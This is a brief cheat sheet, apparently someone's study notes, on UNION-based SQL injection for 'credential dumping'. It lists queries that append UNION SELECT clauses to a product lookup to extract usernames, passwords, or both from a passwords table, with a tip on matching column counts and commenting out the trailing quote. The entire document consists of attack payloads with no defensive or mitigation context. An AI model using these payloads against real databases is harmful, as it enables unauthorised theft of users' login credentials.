CREDENTIAL DUMPING

DUMPING USERNAMES

SELECT * FROM products WHERE product_id = '1' UNION SELECT username, 2 FROM passwords;
 * the '1' represents junk data that's unimportant
 * for uneven columns, use 
    - SELECT * FROM products WHERE product_id = '1' UNION SELECT username, 2, 3, 4 FROM passwords-- '

DUMPING PASSWORDS

SELECT * FROM products WHERE product_id = '1' UNION SELECT 1, password FROM passwords;

DUMPING FULL CREDENTIALS

SELECT * FROM products WHERE product_id = '1' UNION SELECT username, password FROM passwords-- '
 * the '1' represents junk data that's unimportant